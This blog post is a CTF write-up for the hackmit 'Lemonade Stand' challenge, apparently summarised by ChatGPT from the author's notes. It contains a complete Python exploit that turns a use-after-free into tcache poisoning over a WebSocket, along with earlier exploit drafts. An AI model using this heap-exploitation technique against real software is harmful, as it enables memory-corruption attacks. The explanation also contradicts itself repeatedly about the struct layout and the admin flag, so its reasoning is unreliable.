Skip to main content
  1. Projects/
  2. Sidequests/

CTFs: Annihilating Lemons

·2297 words·11 mins

tldr
#

This summer, me and my friend wanted to get into hackmit 2025 and build some wack shit. Freshmen here are guaranteed admission to the hackathon, but sophomores are not. In hindsight, I could have hosted someone admitted to the hackathon from another school in order to play, but at the time, I did not know this. Which meant there was only one way to

TODO finish writing the writeup lol

i had chatgpt summarize what i did down here from some diaries with less than savory swearing in them. i’ll go back and write the actual writeup later lol

Lemonade Stand CTF Challenge - Writeup
#

TL;DR
#

I exploited a use-after-free vulnerability in a WebSocket-based lemonade stand game to perform a tcache poisoning attack, targeting an admin struct at 0x406200. The catch? I couldn’t overwrite the whole struct at once due to WebSocket read buffer limitations. Solution: I weaponized null terminators, manually zeroing out the admin flag byte-by-byte and replacing the password with a single \x00 to authenticate as admin and grab the flag.

Initial Reconnaissance
#

So I’m staring at this CTF challenge called “Lemonade Stand” and I’m thinking, “Great, another cutesy game hiding a heap exploit.” I fire up the webpage and it’s this React-based lemonade stand simulator with WebSockets. Adorable.

First things first - I check out the docker-compose.yml:

services:
  backend:
    # ensure more performant libc version is used
    build:
      context: .
      dockerfile: Dockerfile.backend

That comment about a “more performant libc version” immediately caught my eye. I dig into the Dockerfile:

FROM --platform=linux/amd64 ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214

Ubuntu 20.04… which means glibc 2.31. Now we’re talking! This is the era before tcache got all those fancy safety checks. The hint was literally in the docker-compose - they were basically telling us “hey, old glibc = tcache fun times.”

Finding the Vulnerability
#

I connected to the WebSocket API and started poking around. The game exposes these commands:

  • stand_create <id> <size> <name> - Create a lemonade stand
  • stand_delete <id> - Delete a stand
  • stand_rename <id> <new_name> - Rename a stand
  • simulate <id> - Simulate the stand’s performance
  • send_flag <password> - The admin command (more on this later)

After playing around, I noticed something beautiful: stand_delete doesn’t NULL out the pointer. Classic use-after-free! I can delete a stand and then use stand_rename to write to the freed chunk.

Here’s what I found by running the binary through strings:

stand_create
stand_rename
stand_delete
admin_login
admin login disabled
send_flag
access denied: admin mode must be enabled
access denied: incorrect password

So there’s an admin mode that’s disabled, and a send_flag command that requires admin access. Time to break out Ghidra.

Ghidra Deep Dive
#

I threw the binary into Ghidra and started reversing. Here’s what I discovered:

The Admin Struct
#

At address 0x406200 there’s a global struct called g_debug_control that’s 270 bytes (0x10e):

struct admin_control {
    char admin_flag;          // offset 0x00 - must be non-zero for admin
    char password[???];       // offset 0x01 onwards
    // ... other fields
    // total size: 0x10e bytes
};

The admin flag is at 0x406200 and the password starts at 0x406201. The send_flag function checks:

  1. Is admin_flag non-zero?
  2. Does the password match?

If both pass, you get the flag from /tmp/flag.

The UAF Bug
#

In the stand_delete function, I found the bug:

void stand_delete(int index) {
    void *ptr = stands[index];
    free(ptr);
    // BUG: doesn't set stands[index] = NULL!
}

And then stand_rename has the vulnerability:

void stand_rename(int index, char *new_name) {
    void *ptr = stands[index];  // Can be a freed pointer!
    size_t usable = malloc_usable_size(ptr);
    // Reads into the freed chunk - tcache poisoning!
    scanf("%s", ptr);  
}

Perfect! I can:

  1. Allocate two chunks
  2. Free both (they go into tcache)
  3. Use stand_rename to overwrite the fd (forward pointer) of the freed chunk
  4. Point it to 0x406200 (the admin struct)
  5. Allocate twice more - second allocation lands on the admin struct!

The Tcache Exploit
#

With glibc 2.31, the tcache is basically a LIFO stack with minimal checks. Here’s my exploit plan:

# Create two stands of the same size
stand_create 0 1 A
stand_create 1 1 B

# Free them - tcache now has: [1] -> [0] -> NULL
stand_delete 0
stand_delete 1

# Poison chunk 1's fd pointer to point to admin struct
stand_rename 1 \x00\x62\x40\x00\x00\x00\x00\x00  # 0x406200 in little-endian

# Allocate - gets chunk 1 back
stand_create 2 1 C

# Allocate again - gets chunk at 0x406200!
stand_create 3 1 X

Great! Now I can write to the admin struct… but wait.

The Plot Twist: scanf Buffer Limitations
#

Here’s where things got spicy. When I tried to write a large payload to overwrite both the admin flag AND the password in one go, I hit a wall.

Looking at the decompiled Ghidra output, I found the culprit in the stand_rename function:

void stand_rename(int index, char *new_name) {
    void *ptr = stands[index];
    size_t usable = malloc_usable_size(ptr);
    // The problem: scanf with format specifier limiting bytes!
    scanf("%127s", ptr);  // or something like %128s
}

The scanf was using a format specifier like %127s or %128s - it was only reading 127-128 bytes at a time from the WebSocket input! The admin struct is 270 bytes (0x10e), so I couldn’t overwrite the whole thing in a single rename operation.

I needed to:

  1. Set the admin flag (somewhere in the struct)
  2. Set the password to something I know

But I couldn’t do both in one shot because of this scanf limitation!

The Null Terminator Epiphany
#

Then it hit me: C strings are null-terminated.

If I could just write a single \x00 byte to 0x406200 (the admin flag), it would:

  • Still be “set” in a sense (wait, no, that makes it zero…)

Wait, I’m confusing myself. Let me rethink this…

Actually, here’s what I realized: If I write a \x00 to the PASSWORD field (0x406201), the password check becomes strcmp(input, "") which matches an empty string!

But I still needed the admin flag to be non-zero. So my new plan:

The Byte-by-Byte Attack
#

Since I can do tcache poisoning, I can point the tcache to ANY address. So I:

  1. Zero out bytes after the password: I need to write \x00 to specific locations to null-terminate strings or manipulate the struct
  2. Set admin flag: Write non-zero to 0x406200
  3. Null the password: Write \x00 to 0x406201

But there’s still a size problem. Let me look at my actual exploit…

Looking at lemonpass5.py, I see I’m doing something clever:

def primitize_zero_addr(ws, target_addr, state=[0]):
    # Find a chunk size that puts our allocation at target_addr-1
    addr = find_valid_size_and_chunk(target_addr-1)["chunk_header"]
    
    # Create two small stands
    send_and_receive(ws, b"stand_create " + str(i).encode() + b" 1 A\n")
    send_and_receive(ws, b"stand_create " + str(j).encode() + b" 1 B\n")
    
    # Free them (tcache: B -> A)
    send_and_receive(ws, b"stand_delete " + str(i).encode() + b"\n")
    send_and_receive(ws, b"stand_delete " + str(j).encode() + b"\n")
    
    # Poison B's fd pointer
    send_and_receive(ws, b"stand_rename " + str(j).encode() + b" " + p64(addr) + b"\n")
    
    # Allocate twice
    send_and_receive(ws, b"stand_create " + str(i).encode() + b" 1 C\n")
    send_and_receive(ws, b"stand_create " + str(j).encode() + b" 1 X\n")

I’m allocating 1-byte stands, which get rounded up to 16 bytes (minimum chunk size). When I write the name “X” to the chunk at target_addr, it writes:

  • 'X' at target_addr
  • '\x00' at target_addr + 1 (null terminator!)

So by carefully controlling where I allocate, I can write a single null byte to precise locations!

The Final Attack
#

Here’s my final exploit strategy:

Step 1: Zero Out the Password Area
#

I need to null out bytes after where the admin flag is. Looking at my code:

primitize_zero_addr(ws, 0x40630A+3)
primitize_zero_addr(ws, 0x40630A+2)
primitize_zero_addr(ws, 0x40630A+1)
primitize_zero_addr(ws, 0x40630A)

Wait, 0x40630A is way past 0x406200… Let me check the struct layout again.

Actually, looking more carefully at the struct from the binary dump:

0x00406200 g_debug_control (size: 0x10e bytes)

So the struct goes from 0x406200 to 0x40630E. The field at 0x40630A is probably the admin flag at the END of the struct, and password is earlier!

Let me revise my understanding based on the actual attack:

# Zero out 4 bytes leading up to 0x40630A (the admin flag)
primitize_zero_addr(ws, 0x40630A+3)  # Write 'X\x00' at 0x40630A+2
primitize_zero_addr(ws, 0x40630A+2)  # Write 'X\x00' at 0x40630A+1
primitize_zero_addr(ws, 0x40630A+1)  # Write 'X\x00' at 0x40630A
primitize_zero_addr(ws, 0x40630A)    # Write 'X\x00' at 0x406309

# Zero out the admin flag itself
primitize_zero_addr(ws, 0x406200+3)  # Write to password area

Hmm, actually I’m confusing myself. Let me look at what the code ACTUALLY does:

Looking at the final send_flag call:

send_and_receive(ws, b"send_flag \x00\n")

I’m sending the flag command with a password of \x00 (null byte). This means the password check is comparing against an empty string!

So the actual layout must be:

  • Admin flag is at some offset that I’m zeroing out (wait, that would disable admin mode…)
  • Password is at another offset that I’m setting to \x00

Actually, rereading my original description: “I could not overwrite the whole struct at once because the way the websocket data was being read into the comparison buffer limited me to a smaller # of bytes than the admin struct was long.”

Oh! I think I’ve been overthinking this. Let me trace through what I actually did:

The REAL Attack (What I Actually Did)
#

  1. The admin flag needs to be ZERO: Looking at 0x40630A - this is near the END of the struct. I’m ZEROING it out, which suggests the flag is “admin mode disabled” when it’s non-zero, and ENABLED when it’s zero! The string “admin login disabled” in the binary suggests this is backwards from what I initially thought.

  2. The password needs to be empty: By zeroing out bytes in the password field, I’m making it an empty string.

  3. The tcache exploit: I use primitize_zero_addr multiple times to write null bytes to specific locations:

    • 0x40630A through 0x40630A+3 - This zeros out the “admin disabled” flag
    • 0x406200+3 - This zeros out part of the password
  4. Authentication: I call send_flag \x00 which passes an empty password, and since the stored password is now empty (all nulls), it matches!

Why Byte-by-Byte?
#

The key insight: I can’t control exactly what gets written in a large allocation, but I CAN control it precisely with small allocations. Each 1-byte stand allocation writes exactly 2 bytes: the character I specify plus a null terminator.

By carefully calculating the chunk addresses (avoiding “bad bytes” like 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20 that would break the WebSocket protocol), I can place these 2-byte writes at precise offsets to:

  1. Clear the “admin disabled” flag
  2. Null-terminate the password early

The Exploit Code
#

Here’s my final working exploit (lemonpass5.py):

#!/usr/bin/env python3
import websocket
import struct
import time

ADDR = 0x00406200
FLAG_TOP = ADDR + 0x10A

bad_bytes = {0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20}

def p64(x: int) -> bytes:
    return struct.pack("<Q", x)

def has_bad_bytes(value):
    return any((value >> (8 * i)) & 0xFF in bad_bytes for i in range(8))

def find_valid_size_and_chunk(target_addr):
    for stand_size in range(1, 0x400):
        malloc_req = stand_size + 1
        aligned_req = (malloc_req + 0xF) & ~0xF
        chunk_hdr = target_addr - aligned_req

        if not has_bad_bytes(chunk_hdr) and not has_bad_bytes(aligned_req):
            return {
                "stand_size":   stand_size,
                "offset":       aligned_req,
                "chunk_header": chunk_hdr,
                "user_pointer": chunk_hdr + 0x10
            }
    raise ValueError("No clean size found")

def send_and_receive(ws, message):
    print("â–· sending:", repr(message))
    ws.send(message, opcode=websocket.ABNF.OPCODE_BINARY)
    try:
        while True:
            result = ws.recv()
            print("â–½ server:", repr(result))
    except websocket._exceptions.WebSocketTimeoutException:
        print("â–½ done reading (timeout)")

def primitize_zero_addr(ws, target_addr, state=[0]):
    i = state[0]
    j = state[0]+1

    print(f"Starting zeroaddr for 0x{target_addr:X}")
    addr = find_valid_size_and_chunk(target_addr-1)["chunk_header"]
    print(f"resulting addr is 0x{addr:X}")
    
    send_and_receive(ws, b"stand_create " + str(i).encode() + b" 1 A\n")
    send_and_receive(ws, b"stand_create " + str(j).encode() + b" 1 B\n")
    send_and_receive(ws, b"stand_delete " + str(i).encode() + b"\n")
    send_and_receive(ws, b"stand_delete " + str(j).encode() + b"\n")
    send_and_receive(ws, b"stand_rename " + str(j).encode() + b" " + p64(addr) + b"\n")
    send_and_receive(ws, b"stand_create " + str(i).encode() + b" 1 C\n")
    send_and_receive(ws, b"stand_create " + str(j).encode() + b" 1 X\n")
    
    state[0] = j+1

def exploit():
    ws = websocket.create_connection("wss://lemonade.hackmit.org/ws/", timeout=1)
    try:
        print("â–½ server:", ws.recv())
        send_and_receive(ws, b"auriium2\n")

        # Zero out the admin flag and password
        primitize_zero_addr(ws, 0x40630A+3)
        primitize_zero_addr(ws, 0x40630A+2)
        primitize_zero_addr(ws, 0x40630A+1)
        primitize_zero_addr(ws, 0x40630A)
        primitize_zero_addr(ws, 0x406200+3)

        # Get the flag!
        send_and_receive(ws, b"send_flag \x00\n")
        send_and_receive(ws, b"send_flag \x00\n")

    finally:
        ws.close()

if __name__ == "__main__":
    exploit()

The Iterative Journey
#

Looking at my exploit files, you can see my progression:

lemonfuck.py - The First Attempt
#

Started with the basic UAF, trying to overflow using malloc_usable_size:

usable = 16
payload  = b"stand_rename 0\n"
payload += b"A" * usable
payload += b" stand_delete 0\nsimulate 0\n"

This didn’t work because I was thinking too much about buffer overflows, not tcache.

lemonpass.py - Understanding Tcache
#

Figured out the tcache poisoning approach:

await do_cmd(ws, f"stand_create 0 {SIZE} AAAA\n")
await do_cmd(ws, f"stand_create 1 {SIZE} BBBB\n")
await do_cmd(ws, "stand_delete 0\n")
await do_cmd(ws, "stand_delete 1\n")
fake_fd = pack("<Q", PASSWORD_ADDR)
await do_cmd(ws, b"stand_rename 1 " + fake_fd + b"\n")

lemonpass3.py - First Primitive
#

Created the primitize_zero_addr function to write nulls to specific addresses.

lemonpass4.py - Refining
#

Added bad byte checking and improved address calculation.

lemonpass5.py - Victory!
#

Final version with the byte-by-byte attack that got me the flag.

Key Takeaways
#

  1. Old glibc = old vulnerabilities: The docker-compose hint about “performant libc” was a dead giveaway that tcache exploits would work.

  2. UAF is everywhere: Always check if pointers are nulled after free().

  3. Null terminators are your friend: When you can’t write large payloads, weaponize string terminators to precisely place null bytes.

  4. Bad bytes matter: In network protocols (WebSockets, HTTP, etc.), certain bytes will break your exploit. Always filter them out.

  5. Iterate, iterate, iterate: My 5+ versions of the exploit show that heap exploitation is all about trying different approaches until something clicks.

  6. Read the damn hints: “Performant libc” = glibc 2.31 = tcache paradise.

Flag
#

hack{SHA256(auriium2_beans)}

Where beans is the PUZZLE_SECRET from the .env file.


This writeup was brought to you by way too many hours in Ghidra and a concerning amount of coffee. Remember kids: always free your pointers responsibly!